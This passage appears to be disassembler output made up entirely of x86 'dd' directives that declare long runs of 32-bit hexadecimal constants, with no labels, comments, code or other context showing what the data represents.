		dd 0F44814h, 3FE9109Eh,	50A563Ah, 0AE8B7675h, 2AC48C5Fh
		dd 24DCA41Dh, 861B5980h, 20F976Eh, 60F50833h, 5C5AF668h
		dd 0B658BD00h, 21EEAFC5h, 7911007Fh, 6986E53Dh,	283F70DFh
		dd 617E3AC7h, 0B074BEC8h, 5C84D1A7h, 0CB8E3A9h,	0E9C61821h
		dd 801096E8h, 7B1CADFCh
		dd 4B0A7CCBh, 0A0835569h, 60C17E8Fh, 9352E4A1h,	0EAF004Eh
		dd 0F9EF78AAh, 0EB12A9D9h, 0C48C5970h, 4BA494DCh, 8986EC90h
		dd 710587EEh, 0B71B8527h, 0BC50981Ch, 0E92C300h, 406C1568h
		dd 0E393538h, 0A4CB564Ch, 6CD2DCBAh, 1130D110h,	0B43A00A1h
		dd 0C0195867h, 1A5E02C1h, 9602AE86h, 14F91498h,	0C2704000h
		dd 3FF30CF5h, 83C40BCFh, 402EED0Eh, 8738B835h, 0D8CA2280h
		dd 620CEC97h, 0E4613000h, 1CA9ED7Dh, 1D84BB4Ah,	28DE81B5h
		dd 8B76B485h, 91A9ECA9h, 5C30A83Ch, 579102C3h, 0B4C06E4Fh
		dd 1E592CD2h, 845698h, 0E16F92CFh, 4109C9h, 5D9FA3AAh
		dd 471317D5h, 639C5A03h, 308E2C96h, 73092481h, 0A70053D2h
		dd 74F5A246h, 8E0C13h, 0C84284ADh, 0BBBCF11h, 27BC69EDh
		dd 0C5E4A03Dh, 0A04FC3EAh, 90616BFDh, 889324h, 0C2F8B197h
		dd 0B70B16A5h, 48DC8E26h, 917927BCh, 435607CCh,	0C94ED310h
		dd 8F221100h, 6B962A1Dh, 0A4517CFCh, 0BB2B0058h, 0F8714683h
		dd 0C006547h, 163755B2h, 27B3F68h, 1B9AAFA2h, 684CADCAh
		dd 33CB240Bh, 0AF5899D8h, 64EFD097h, 33F8D9ECh,	100B2568h
		dd 5A15C1F8h, 1633F840h, 6849685Bh, 974C448h, 0E0154396h
		dd 0AC10388Bh, 0E60D93CAh, 29F236F6h, 0B4554820h, 423D88D4h
		dd 0A448CD84h, 87822600h, 0D1012806h, 4645B35h,	70EA394Fh
		dd 50F229E8h, 775307A4h, 48C9F3FFh, 3045503Bh, 0F75469CAh
		dd 0C0109CA0h, 7F964A77h, 47D08F05h, 8045F268h,	90414574h
		dd 0D8845F6Fh, 1FDFBDCh, 46B89B16h, 965053C5h, 0D4882259h
		dd 24EF4420h, 98CC20D2h, 149601E7h, 0F62E5AA1h,	2EC8327Ch
		dd 7E438037h, 0EEC90083h, 0F18C85C8h, 0DB036D23h, 4B5AFDACh
		dd 0C82A84Eh, 0EBF503CFh, 7ACDD8E3h, 0C6066107h, 0A2A09B02h
		dd 116C95Eh, 5A981209h,	24E537A4h, 0FF88F920h, 168E21Ah
		dd 0F54067DCh, 21C6490Fh, 490C6DD0h, 14243E48h,	22D4C08Bh
		dd 3706017Ah, 0DFC27D3h, 2A507307h, 0CE0084A7h,	4D92CC3Eh
		dd 5A87C04h, 229D76CFh,	14F42780h, 5ACC50F7h, 0E779C859h
		dd 0C978C507h, 0DA042078h, 8BD41502h, 44F8D5E8h, 0F20222C4h
		dd 0A4AD7626h, 9760BCC8h, 5C51DDC6h, 9A136A71h,	7AE821C9h
		dd 55742014h, 2E08C549h, 0E00BAC6h, 73308072h, 33EF5E61h
		dd 57CA9DC8h, 2A6BF340h, 5FC29905h, 0BCD2A293h,	0D324801Dh
		dd 7CA5386Ah, 0AC3F126Bh, 45AC658Fh, 1753FD2Ch,	26AC2188h
		dd 804C328Fh, 0CC17FC86h, 85740038h, 3D5697D6h,	0FF02DBEBh
		dd 812047EFh, 2CB40158h, 1581BABEh, 2580BCC2h, 7078A05Fh
		dd 0B4C14C9Ch, 8B418084h, 0E6EA51F1h, 26CD5200h, 144845CEh
		dd 53254BDEh, 84D407E0h, 262783D6h, 5908DBCh, 2B4CB6E4h
		dd 21A6A807h, 0B03F0F01h, 0DAD7D4C1h, 568080EAh, 51B54AFCh
		dd 3C738C9Eh, 0B14EAC02h, 182B5BDBh, 1CB9388h, 0DE20B572h
		dd 0F84E25EEh, 8D0C59C4h, 3128F0F3h, 924A30E3h,	0EE50D4E1h
		dd 0B48BC8B6h, 746C901Bh, 0C5CB1C25h, 37F5868Dh, 0BE1289D2h
		dd 68DCB878h, 25320024h, 0A13180FCh, 5D7B43A5h,	47015590h
		dd 0F4D35284h, 0E42D7323h, 0F9C40848h, 24125648h, 5E632C37h
		dd 30685A6Bh, 0F256614Ch, 0D386E00h, 0A234E209h, 0ACD502D1h
		dd 33CD2A1Bh, 3892D861h, 0A7AE8E60h, 9ED3063Fh,	2587E36Ah
		dd 38338BC9h, 104D8CD0h, 0B1D2EC0Fh, 0EBCD0485h, 9B22DC14h
		dd 3E814200h, 0E3D6DC7Ch, 484358A2h, 4BC8E524h,	0CA04E4C4h
		dd 98A4AE6Bh, 860404F3h, 104D9F50h, 38C22DC4h, 77DF849Ch
		dd 238900EAh, 4E7767E7h, 0B30C575Ch, 38A711B0h,	50089C2Dh
		dd 4200BBFEh, 433DD5C0h, 0B2C22Dh, 0C8446201h, 8685A14Dh
		dd 0B720F012h, 0BCD4A44Ah, 0E276BE89h, 80247190h, 9E6E7BB7h
		dd 3F25FB6h, 0EC89DB14h, 0F96411D8h, 0FCBC225Ah, 0F0C8FD60h
		dd 0A0EA84A4h, 13A5288h, 0F7F1893Eh, 518805B0h,	2A74BEF4h
		dd 0FF5F1442h, 0C8ACF2F0h, 60A496E0h, 8138FA15h, 0B9E09E9Dh
		dd 4F00B829h, 49517840h, 28132D61h, 10C52996h, 0A47C64A6h
		dd 2C3201D0h, 6123520h,	86A42CCCh, 0B01CAF19h, 0F54244D8h
		dd 141F3A07h, 0B460A50Fh, 39ADC1A8h, 3E8FAC98h,	0A26F421Dh
		dd 0A98CBF24h, 8552ECCh, 0F0A9A680h, 9EA3B4h, 720BDF8Ah
		dd 0E8077506h, 849C28FFh, 0BC938255h, 9FC48025h, 1C6B4948h
		dd 7EA8B509h, 0E94C7448h, 0AD949600h, 12EEBA23h, 0B9DCE869h
		dd 0A0AF0158h, 3890E47Ah, 0F1768000h, 15B4247h,	3878E1A3h
		dd 41AAA701h, 72EFB3DBh, 7F913A3Ch, 0C3CB8704h,	18A92310h
		dd 0F8B0B02Dh, 2CF19937h, 265F8088h, 23EF253h, 0B0D57759h
		dd 0E48287FFh, 362273AAh, 1E8B2FF5h, 8C488412h,	105A278Bh
		dd 0EFE3D845h, 0A83590F5h, 7F003036h, 2BD1F782h, 0B002B5C0h
		dd 91DB9963h, 604CBCh, 0D66E9F74h, 1865B371h, 4F7BFB03h
		dd 0A81E5830h, 2046E438h, 0BC965E3Ah, 52C41C40h, 28EA6E88h
		dd 95574600h, 0CA0A5B54h, 586806A2h, 0A5132A08h, 0B22E7090h
		dd 7995DB00h, 4A5CA23Eh, 3F2F0223h, 0B16AF00Bh,	2142985Ch
		dd 0B28C939Ch, 30806C4Ah, 0B1511B24h, 9B01C38Dh, 1CDABDB5h
		dd 0C12BD9F3h, 29A7052Bh, 0D6751220h, 954B8C20h, 47721376h
		dd 1DE845FFh, 91B8898Eh, 0D41FA778h, 985ED60Dh,	5A00DADCh
		dd 0E7937FA3h, 0B358CD8h, 0E84F76B5h, 0F4A854C8h, 6245CA00h
		dd 4E0EE23Fh, 0B48C07EDh, 47C4132h, 0F0C0C1E9h,	762710F8h
		dd 5730045Bh, 9C50645Ch, 0B50B7CE4h, 1A74CFACh,	60CC6190h
		dd 0B0BEF308h, 58C8CC45h, 1AD60028h, 0CB76354Eh, 0B0976817h
		dd 96CEEF48h, 2C94D67Ch, 96863080h, 34434D7Ah, 0E3B85DF7h
		dd 0B41013Ch, 5EB9E81Ch, 1CA7420h, 828048E5h, 3CEC9DF1h
		dd 0F01ECA14h, 64109CA6h, 70BC509Ch, 8705AB00h,	0A1EB12AFh
		dd 0BED10241h, 0C69F1613h, 0FCD1B842h, 39E8C500h, 0A7D4A88h
		dd 506F7126h, 5B191190h, 3A5E7420h, 6BC400EBh, 0F90922FDh
		dd 19248C72h, 2D8804C6h, 88068190h, 0DC663052h,	8934DDCh
		dd 94329180h, 64F12F3h,	41AB5B34h, 149740C9h, 4BEF24F8h
		dd 169C0167h, 0E4830959h, 0DA1EF820h, 3C2C3601h, 0D1281E89h
		dd 0A806803Ch, 1CBC12F8h, 6E2C4500h, 287B36E0h,	0F2E49855h
		dd 5E44446Ah, 9EB4AF44h, 0CC124FB0h, 0B5002EC0h, 0F5AF17CAh
		dd 21ECE0Fh, 96C7E4E6h,	3C0248D5h, 71F489DEh, 2CE98054h
		dd 0DBB92D1Bh, 59559004h, 0F606AFE3h, 9897383Ch, 0A9A163C0h
		dd 0D312BC44h, 0D0920056h, 5C104422h, 0F5B4C7DCh, 0E280524Bh
		dd 0B70D0074h, 2916588Eh, 0BB49E0CBh, 0BBAF0008h, 5952DCD0h
		dd 64302E30h, 27FB335Ah, 8891CE90h, 0F4A41474h,	422912AFh
		dd 6148168Ch, 0D8408E74h, 0E037174h, 1162D63Eh,	813E41Dh
		dd 0FB8CB89Ch, 5C0CA17Ah, 0E000C115h, 0B894A7A4h, 9A7723EEh
		dd 0D04D1892h, 34404A5Ch, 0A1AEB67Eh, 597B7555h, 0E040B058h
		dd 0FC568AB0h, 0BA3C4F84h, 8A86484h, 0C8CBBFC4h, 9B048420h
		dd 6B129625h, 86610488h, 0BCB72721h, 44322A12h,	88D0D348h
		dd 5200FC88h, 4BB89F51h, 0F53F18h, 129722DFh, 5E4A2627h
		dd 0F32440A8h, 0B6987CA0h, 3B9C300Ah, 443A051h,	3F2E0F6h
		dd 3D220469h, 0CD67B294h, 0CD6C44E0h, 80E4388Ch, 60CE225Eh
		dd 45D91AB4h, 4884E1FFh, 788E2F1h, 0DEC2AA1Dh, 59288502h
		dd 63642488h, 8FC0FB93h, 0C87DE9F2h, 8401CBF6h,	4CF5F020h
		dd 0A9EE3C69h, 0A360C144h
		dd 991ACD20h, 25DF4014h, 4200B06Ch, 0ACFA9C45h,	5CB3D403h
		dd 7D22BC5Eh, 0B6042404h, 0DCF62594h, 1511F507h, 797F330Bh
		dd 50623291h, 2DA46354h, 9A4FF70Bh, 8B788037h, 0F654032h
		dd 0FDC12761h, 64742750h, 224B0B4h, 8E2252FFh, 20D92A1Dh
		dd 3F908A00h, 0AD7F625h, 64F703E4h, 1287419Ch, 0D4332EFEh
		dd 90A7E410h, 27AA9F00h, 2E775FB1h, 0E71CFB0Eh,	63E48079h
		dd 9AD601Eh, 0EF31CD69h, 7657CC10h, 24529109h, 0C6D84A6Ah
		dd 0F83E2168h, 0A621371Dh, 0A3596070h, 725E427Bh, 0CD55B471h
		dd 0F13B1DD8h, 1A63570h, 2294F3F2h, 0EC6BA451h,	0EA5BCFC9h
		dd 65C3020h, 19B800B4h,	83FFAE02h, 0B1E63B2Ch, 0E0839C9Ch
		dd 13BD5A22h, 28DF02A1h, 830F6274h, 814BB667h, 0E91FC385h
		dd 29224603h, 2786Fh, 7B7E216Ch, 0A99E89A8h, 6334C00h
		dd 0D3CDBC37h, 69DA6324h, 0F95EF93Ch, 6A7D003h,	7139E7E3h
		dd 542C14h, 0E57A6ACCh,	4CF98774h, 90E7DCCh, 3ACF4C3h
		dd 0C81DAB47h, 29203B3h, 69FB0A31h, 98C25910h, 6B079C6Eh
		dd 198EFEA4h, 674D8059h, 3B27FFB2h, 6062EEAh, 0D1BB70CAh
		dd 0C95C1009h, 44409A64h, 0D90B0230h, 0A29E749Ch, 0EBF984C3h
		dd 0F80814FBh, 56AE9F99h, 6D786045h, 677B62D7h,	0E5D8DA02h
		dd 5ABE5BE7h, 9CBB7184h, 0E3C5605Ch, 3207E16Eh,	0AA02BDECh
		dd 7057AD12h, 1C4649BCh, 24705CC0h, 62555C7h, 8A7848F0h
		dd 0BD570D20h, 0F029C163h, 0D904F8E0h, 0F2AC4ADAh, 74C3E0FCh
		dd 90ACC125h, 48AA0D38h, 5983341Fh, 687C7900h, 1AE1715h
		dd 2A9532E5h, 2EC153DBh, 898CCC40h, 0D27265h, 9232D60h
		dd 0DFAE6FD9h, 0EC25D600h, 0C0922974h, 61B711F4h, 4CC0487Eh
		dd 90D2C9F0h, 379E34h, 7DB979ABh, 0AEB20ACDh, 80ECFB38h
		dd 4CC3600Fh, 2F1C75F4h, 0C038BFC5h, 960032DBh,	0E83B7BC8h
		dd 0F202A36h, 64A8804Fh, 0E254DA20h, 430AB9B7h,	8441F474h
		dd 0D5844421h, 7481E285h, 0F84005DBh, 2BE92E1h,	1EFDF868h
		dd 0DD01BB6Fh, 4010A1E5h, 250057ECh, 0C23AB7FBh, 339AEC5h
		dd 72E0654Eh, 6858424Ch, 399ECC40h, 0B7B6005Bh,	2BCF944Eh
		dd 0CA2408E8h, 124A3C7Bh, 9E050307h, 96852DB0h,	894C4A0Fh
		dd 0C203B3Ch, 0D9A7D4h,	4CD8E8CEh, 0CB596E2Bh, 16266A00h
		dd 9D1D4F5Ch, 0F9020037h, 9BFC62B9h, 0E71DF6F7h, 2DC2032Ch
		dd 7EDE2E97h, 0D56760E4h, 0C0B4128Bh, 0C3249D40h, 492F0022h
		dd 0C825AF50h, 121D9B74h, 0F4E6F482h, 0C9092240h, 60AB00B6h
		dd 0D6A3CBE3h, 0B0B18307h, 0A100AA9Ch, 0F027B36Bh, 98DE016Ch
		dd 0A642D446h, 0C46CCE43h, 3C006877h, 823095A1h, 70525FCh
		dd 0EB2EF951h, 0BFBE904Fh, 970BE01Bh, 48F6C2Ch,	0D00454ACh
		dd 801CA8BAh, 0F16BE428h, 0ED620BC2h, 83F04575h, 0A0B23100h
		dd 0D6502D4h, 771227E1h, 3C5F2C68h, 0BC1A4A02h,	5478BE9Bh
		dd 0B3A740CCh, 0E17B2DDFh, 0D030475Ah, 3A7539CDh, 0D703951Bh
		dd 3B7057AAh, 0B7E147D8h, 0E0E36CA9h, 0E000D2DAh, 7D796434h
		dd 1D7E7F7h, 5A1F4FAh, 0C61C2226h, 0F200084Ch, 0DDE23C70h
		dd 2779DFh, 0D80A6E69h,	30C599Dh, 0FFFD5E0Ah, 0A4A4842Fh
		dd 225C6025h, 0D0234FAFh, 75EADB18h, 5270ECEEh,	0FA3F39h
		dd 7C29A03Eh, 7E881E0Ch, 0E2F2043Bh, 0A264F409h, 0F08F80h
		dd 34191F72h, 4BDB03BBh, 96971469h, 747312FAh, 58783280h
		dd 9F8368h, 1B5F02B1h, 65CCCAD1h, 57017C70h, 9B96730h
		dd 0E710A9B7h, 7470480Ah, 22083701h, 0E57ED8E1h, 888B2424h
		dd 233CC7DDh, 0E31CF338h, 9C8113A2h, 66BE02A1h,	0F32C206Ah
		dd 3D0076B2h, 0A5FA141Fh, 2E612472h, 3D0402CFh,	5509FC49h
		dd 0B86C92C9h, 80023138h, 9D408FFAh, 3654CAh, 0E484C415h
		dd 0B707EEECh, 9E249897h, 957E00B2h, 7A093A2Eh,	0C524AD92h
		dd 2804DFABh, 988C3FE6h, 5CB78844h, 487B3Bh, 2115A509h
		dd 0B1649Bh, 4343A70h, 54431423h, 20E5AB2Dh, 51194148h
		dd 37C019Ch, 0CD0FF609h, 0C08C31C6h, 915BEFE4h,	755CD821h
		dd 69C1EC78h, 8887F8D9h, 3BBC8B8h, 4E8DC1AFh, 287940BFh
		dd 9801C33Fh, 60C7EFF6h, 168334CBh, 0CDEC2A22h,	0B4146803h
		dd 0A06F0646h, 4AC78549h, 2B41D84h, 0FB48F3C9h,	40C02424h
		dd 98C32E0Ah, 1AF7D54h,	49BB87D3h, 0E6837899h, 7A5CFC44h
		dd 0A33300E4h, 4F4DCF5Fh, 0E825266Eh, 0B4CA40B4h, 0CE01EE35h
		dd 5B0AA4E3h, 0F5F5E9B7h, 6432F884h, 7D44B4EFh,	5D9E8606h
		dd 2023518h, 10C08E5Eh,	0C84444FDh, 0FF37A19h, 21C23CB0h
		dd 54C054E3h, 83A8D88Ch, 0D917C901h, 0B7269658h, 0A71CC007h
		dd 0C70F073Fh, 0DF12B4F7h, 400C9420h, 0A82BCD63h, 289A513Dh
		dd 247B2837h, 7512D813h, 3A0F2C30h, 9093677Ah, 16ADC823h
		dd 39DB0E0h, 0CE493A2h,	4B8E877h, 9800DC5Ah, 0D5CCA53Ah
		dd 6722B1h, 683B665h, 832BA0Eh,	26248801h, 0D4163FEAh
		dd 0A328E468h, 78E4EDCCh, 0E823011Dh, 0DBCCB92Dh, 642D50h
		dd 4DA7D336h, 99E7CDh, 0FE3CA41Ch, 0BE3F615Eh, 9000C1D6h
		dd 0E4036BCAh, 9CBF5CD9h, 0E66AEF00h, 101C6786h, 4B94F148h
		dd 0FA183C30h, 165302BBh, 0D7967CB9h, 0ADFEDC5Ah, 550F288h
		dd 86DBCE58h, 0E16CF425h, 79D12A00h, 0A9AE4DA4h, 0C40084D9h
		dd 0E7426B62h, 0A5D6BDh, 0E87A93D4h, 870FCFE6h,	7C1C72EBh
		dd 0C200F670h, 98460BA8h, 732C1727h, 7703041Ah,	0C282CEDBh
		dd 54638BA0h, 2A1E25A0h, 0C97DE530h, 79C849A6h,	0F05F4CD4h
		dd 363C205Ah, 2507EF9Eh, 34110901h, 0AEA04620h,	7760A023h
		dd 0C1E20931h, 0A0595F3Fh, 0A12A9100h, 0BB5B69h, 899D8A39h
		dd 6AB96630h, 1190CD01h, 4863CCFDh, 607C70ACh, 9DE327CFh
		dd 97D9C00h, 4310F145h,	478FCF0h, 70A89E74h, 9B208CAFh
		dd 2C3ED5FEh, 879FBC88h, 6673BEDh, 6147EB80h, 26D0075h
		dd 0F7716603h, 0F250ADE4h, 0A2021DA3h, 0E110B0F1h, 1618E41Eh
		dd 97D51170h, 80F1A3B8h, 0F4DC84D1h, 0FD245C15h, 7A1C7CFCh
		dd 6820CE16h, 92DC6A7h,	0FBA9AAEFh, 8600F45Ah, 0B5B68830h
		dd 9B8F459h, 0FF6917A2h, 0B42570A4h, 6A0BAAB8h,	421572h
		dd 78DE65DBh, 0B991C29Dh, 5C8A6181h, 48EF08CCh,	0FBC8D300h
		dd 9E70C93Eh, 5080BB0Ch, 0F0044D20h, 984CBF87h,	38182760h
		dd 73B3780h, 386D9594h,	0AAC77066h, 22078B87h, 47E01A64h
		dd 42778A1h, 53A89440h,	0DFF33D99h, 0E6BC9016h,	9E56012Ch
		dd 7B97AAAh, 6B73F820h,	8899A83Dh, 21C517B8h, 8B0178E2h
		dd 9DC64378h, 0DFD8417Eh, 0A82C50F5h, 0A4F6D268h, 9E609405h
		dd 4ADD02Ah, 0ADC62700h, 995CD10Dh, 0F8503903h,	8001E635h
		dd 9DEAE7Eh, 8A23F9DBh,	1707445Bh, 0B83BC02Ah, 0EEA9F0F4h
		dd 4FD000BAh, 422DFE8h,	0F800CC2Bh, 272DCA64h, 0A0876020h
		dd 3AEB57E8h, 0D8AC5237h, 36F3044Fh, 8480EC78h,	6142B727h
		dd 40D15068h, 6600181Eh, 3DD201D5h, 0CC6C00F1h,	0DFC8B786h
		dd 0AF4C374Ah, 80F988D4h, 0C63082E6h, 0DD05A73Dh, 7E49BA66h
		dd 46098F4h, 120A63E6h,	0C4A21Ah, 1E955A30h, 0C3E56D7h
		dd 77880E1Dh, 0D60074AAh, 0CC677CA0h, 2CA7F36Ah, 409C96F8h
		dd 0D41E369Bh, 7E58A300h, 0FEC94916h, 719100ABh, 3CFF5185h
		dd 0B309B228h, 69C0FCC7h, 0D10A900h, 8E3DFDB0h,	97B88Fh
		dd 5FF6F7A4h, 0BED9E227h, 0DBA834h, 339E4FBCh, 0CBC35447h
		dd 90CDC00h, 90015726h
		dd 50EF13FDh, 1EB44BD7h, 1B0B2464h, 682C962Ah, 804C3Ch
		dd 163E8426h, 0D725FDA1h, 0E581E0B6h, 9148F59Ah, 0C4C48AC9h
		dd 4A450912h, 70420F96h, 0A3602C56h, 27A8911Ch,	3030B742h
		dd 0DF0068EAh, 4505E7F2h, 10827B5h, 0F937012Ah,	25AB6E0Dh
		dd 0EC206ACCh, 4919014h, 0DF502123h, 1644B213h,	3012EFB5h
		dd 505698A6h, 0E2E6DC02h, 456DFEFh, 660204Ah, 7ECB9F21h
		dd 4B4C0710h, 925D2569h, 20D6D032h, 0A080649Dh,	35095F1Bh
		dd 2527ECFEh, 0B400013Dh, 710FC5ACh, 0B74030E7h, 2A62E8B6h
		dd 606919BDh, 0E388F8F0h, 80D096ECh, 4D7AEA4h, 7C17ACAAh
		dd 0C000FD87h, 0C1DCDF26h, 40209677h, 46EF48DEh, 3DF86E00h
		dd 0A4EC6A5h, 0FB2F28F4h, 9C78522Ch, 0EA45F309h, 2709A8E4h
		dd 0D9964EB9h, 12828184h, 3D25DE0Eh, 62CEC504h,	71F6D449h
		dd 0F0DC01ACh, 20E56B74h, 0A403D2F8h, 0F3D4C142h, 806492C3h
		dd 86F2A914h, 0CA1524E9h, 0A4D013F8h, 0C200889Ch, 0B2EF9BC7h
		dd 54704h, 3265D3F9h, 0EC77728Dh, 0DE744Ch, 0D014F476h
		dd 7C80AEBAh, 0BBC225DEh, 2500886Ch, 0DBADD2B8h, 0DD356Ch
		dd 0B38D9CB5h, 0AE2F4722h, 3FEF7215h, 89323B80h, 9C475CCh
		dd 805C4B88h, 0A4845Dh,	2FCF7F43h, 0FEAD108Dh, 0DFFBB01h
		dd 26B4ECA5h, 5618207Bh, 860E5E22h, 65080h, 4D995A17h
		dd 75F000C8h, 0F9532B4Bh, 0EC9C67B9h, 0FE6CC4A5h, 651B0007h
		dd 886EDC5Fh, 470FFB55h, 0E352DF85h, 90BBD1A8h,	7086DAh
		dd 0DD46AD3h, 0C8512F3Eh, 0E87488h, 24679A5Dh, 25DDFC20h
		dd 52071100h, 6A663EF8h, 0C4170316h, 0B6432A10h, 689C95C8h
		dd 234E740Bh, 0C4089056h, 0FF8F00CEh, 79E75589h, 360460F8h
		dd 0C954A5FEh, 2E5F60A0h, 0EEB4F0Dh, 0DB4FB6D0h, 14B42036h
		dd 448179D2h, 3A85BF8h,	91A4F87Fh, 31C06AFAh, 830984BAh
		dd 0D254DE70h, 2D060A10h, 26C05098h, 0DB7D4014h, 9B00F1A9h
		dd 0B23342EBh, 2EAAA4F2h, 6098B6FAh, 0B5E794A8h, 167B611Ch
		dd 0C0233F45h, 0E6A2C5C1h, 0CD84B872h, 20F3033Ch, 0CCADE443h
		dd 0DD330680h, 82E82B8Ch, 51673600h, 0ABAF96C3h, 96B44C42h
		dd 0F3FB842h, 0F931CD80h, 46AF849Bh, 6A12F00h, 53ABC5D9h
		dd 6CCA5CC4h, 0D0E2583h, 177220F0h, 515E4725h, 0C2A98124h
		dd 784A12CAh, 3C37C5C0h, 0A4E038ACh, 3909960Dh,	48561240h
		dd 0BA4D00h, 3236335Ch,	0C246692Ch, 5F3FDB16h, 44C07C85h
		dd 2E90B78Fh, 1164F8D8h, 2CB41751h, 0E624F021h,	9A8024h
		dd 0A5F83E82h, 448156ADh, 9B0F7772h, 0AE5C90h, 0F9F3952Ch
		dd 0ED49474h, 55002025h, 645D4980h, 2A962812h, 22D390F4h
		dd 990097CDh, 0E191BAB7h, 270A531h, 4F14B121h, 0D8A03EC1h
		dd 85DB1BB9h, 9175F4A6h, 403D9E7Eh, 6B7687F6h, 0BEC264E9h
		dd 950CD877h, 7172C6Ch,	0F0F397AFh, 10CCC800h, 345857F4h
		dd 633F0100h, 1CFCAC22h, 0D83B00AAh, 89CAD6FFh,	4B0B2AF1h
		dd 8B523FA0h, 12D044D0h, 4CD27Ah, 0D306A7B0h, 0CD4A98F0h
		dd 0F3404C5Ch, 54DD56BBh, 88895E1Dh, 2500FFF8h,	7058298Ch
		dd 1840575h, 2E09224h, 0C02A6917h, 0B49928F1h, 26C4242h
		dd 6C8027B4h, 3FCE258Bh, 0E593D82Eh, 71FD1D02h,	98F99Eh
		dd 0C9D9EDD4h, 0E8008016h, 276DCB60h, 4BB43F7Ch, 0D328D01Dh
		dd 2097C2A0h, 9649D0D4h, 0FE6B0092h, 7D415358h,	0FD03782Bh
		dd 0F720ABF1h, 248D9502h, 0F2159872h, 277C8071h, 4C649E2Dh
		dd 7C28775Ah, 982BF1A3h, 500029ACh, 0ACB893ADh,	0B256CFh
		dd 1BC6E51Eh, 0D05E1858h, 0AF222500h, 0D4698273h, 8AB700A7h
		dd 0F8BFD929h, 0C726B9FDh, 0C8A4A835h, 6643782Eh, 0AD30015Eh
		dd 3187D743h, 38352A69h, 0BDC4B0h, 7CB7741Ch, 0DD12B4FBh
		dd 6441EC6Bh, 3AF30794h, 577C06F8h, 0B95E405Fh,	0B87DBFACh
		dd 7DEBD390h, 0F18E806Ch, 0FE97CF5Fh, 0CAE0714h, 0C0E881C6h
		dd 1964407Ch, 0CA260801h, 0F725F6B3h, 0AA052810h, 4085CB1Fh
		dd 0FFC3C79Fh, 90223070h, 5166E88h, 0CB1D648Ah,	0B03400B4h
		dd 630D916Bh, 0E2D23A04h, 27C4B750h, 36FDBC21h,	0D4419AF1h
		dd 947C8F35h, 93660482h, 0D97AB861h, 0F1E02187h, 27C6D1Bh
		dd 9E029CADh, 4108FED3h, 0DCCA96E9h, 0B1005106h, 2BD50B5Ch
		dd 1BDDE2h, 45623135h, 0F8F1A0B4h, 0C5D08709h, 49A004FCh
		dd 0DFA88520h, 70839A30h, 9121D4Fh, 0A7F384A5h,	0B0D76282h
		dd 20845F62h, 0A3212063h, 40CB4B1Ch, 0EE988CA8h, 0AA00A83Ch
		dd 68432852h, 2E74EA2Bh, 4078E0DCh, 7F242A04h, 0A9A06B76h
		dd 15055D93h, 7A61FC22h, 84AD9408h, 0C8F5B0E7h,	0B9003A14h
		dd 32F4C443h, 0E694981h, 7F94394Ch, 0B1B79700h,	87955001h
		dd 21541D24h, 0AC70FBC0h, 1199004Dh, 0B780DAE1h, 0D7076BBFh
		dd 405F4A82h, 17A8F7Eh,	0AB61C319h, 1A92A820h, 18BD11DEh
		dd 0EC2C9AC1h, 3A00B8D6h, 0A3436AE7h, 3B5C1F3Ch, 58252EDh
		dd 67D580Ah, 0B9FFBC83h, 444E3900h, 50D3431Eh, 3DE4183Eh
		dd 0CC417940h, 0AB9B00E9h, 0D48C00D8h, 81EAC75Ch, 998049B0h
		dd 84A40095h, 627D5FEBh, 1D30FCFBh, 0B7D739DFh,	645C503Dh
		dd 0E2B944A4h, 4979691Ch, 8807C98Bh, 0D6140CB7h, 8E6B0018h
		dd 5BE87B12h, 14740C10h, 8C298386h, 7EA39D00h, 8FDD7F0Bh
		dd 0B5100769h, 831761A9h, 30CEA796h, 384B7220h,	0D84475Ch
		dd 0C75A05AFh, 0FCC060D7h, 7807A2C2h, 1CF6E08Eh, 1B8CC6E0h
		dd 0C3A60073h, 5FAACF2Ch, 0B715CDDDh, 1064573Eh, 1115483Ch
		dd 0B600A445h, 0C7DB1EDCh, 0F51D5AD3h, 0AF4088D5h, 616FC11Dh
		dd 5B863B9Ch, 0CEA80A18h, 1405C2F2h, 0DBD9A6B6h, 0BE869846h
		dd 23FD00E1h, 0AAAE6C97h, 0B09D8BAh, 2253E8A3h,	606AAB04h
		dd 6F125A12h, 0B1894Eh,	715B261Bh, 0A6DD5Dh, 0ECB8F757h
		dd 0DB14C3DEh, 410BE20Ch, 3D7494Fh, 0AC9333F0h,	0DB883118h
		dd 79053826h, 5DC21AF3h, 0DC5B780Ah, 0B45493C0h, 819629D2h
		dd 40BF00B0h, 0D3E77EB3h, 44897D00h, 0D8E4CEB0h, 82E90163h
		dd 865EFA4Ch, 0E51C24AFh, 0EC4A0D00h, 352F9F6Eh, 0E91F03D8h
		dd 440E3AF6h, 8008F4B7h, 0A7A53D58h, 0DF90C954h, 62F00203h
		dd 0D13924h, 5680D6F1h,	4346DDF8h, 18B82030h, 492C9AAh
		dd 933DB6BBh, 0DA6892C0h, 2F81E320h, 3F790C68h,	0F35094F0h
		dd 46A0340h, 3CB6BFDDh,	0DB84881Bh, 975D88h, 32519C6Ah
		dd 1DDE50F1h, 29B92004h, 748C3CE4h, 0F4018CA1h,	0E8A462ABh
		dd 2400D005h, 0C1C2BB0Ch, 465B416Ah, 936E18F0h,	15AE71DDh
		dd 0C2331401h, 0D5F3C5FDh, 24B370FCh, 14CB60Fh,	0EB5C1887h
		dd 33D21ABh, 5901DA80h,	275933C5h, 20885FB5h, 0B008C9B6h
		dd 25B706BAh, 1A09B15Eh, 0CA46730h, 4C2E79BEh, 809E2CFEh
		dd 0B05B94ADh, 0B203AC0Ch, 30572D99h, 0BC01BDE0h, 0DC43413Eh
		dd 0B611798Ch, 0F2008939h, 0A7ECD2CCh, 2AA6F15Ah, 18CF347h
		dd 0DE4B451Ah, 0C870D59Fh, 432E27BBh, 40089E4h,	295EC252h
		dd 2805090Bh, 0CC001AB6h, 14E4E18Bh, 0F900B891h, 254C2041h
		dd 9D5C2CDEh, 2E8F0E9Fh, 9BC63DE3h, 0CAB695F9h,	80FE5841h
		dd 6FFA8F79h, 388106ABh, 3881F12Bh, 3A3515ECh, 8D70AC9Eh
		dd 0F5AD09h, 3927D234h,	0D17940FFh, 0C0982454h,	0C9943600h
		dd 9C0928D0h, 98E10BAEh, 0DE8BE286h, 0A43ACB76h, 0E94E444Eh
		dd 9EA807F2h, 0CF410A68h, 0FAEA6B4h, 420D1D5h, 0DD574863h
		dd 36A85250h, 0A0E24F40h
		dd 0F6591F0h, 0A798DCB7h, 6404F74Eh, 0F48481A5h, 0C6D317BCh
		dd 0B65901CEh, 3763C3CBh, 33B13ED5h, 24DCB260h,	9E408D25h
		dd 50A06230h, 0E81CB5AFh, 0E8A4A546h, 259C589h,	2DB381Ch
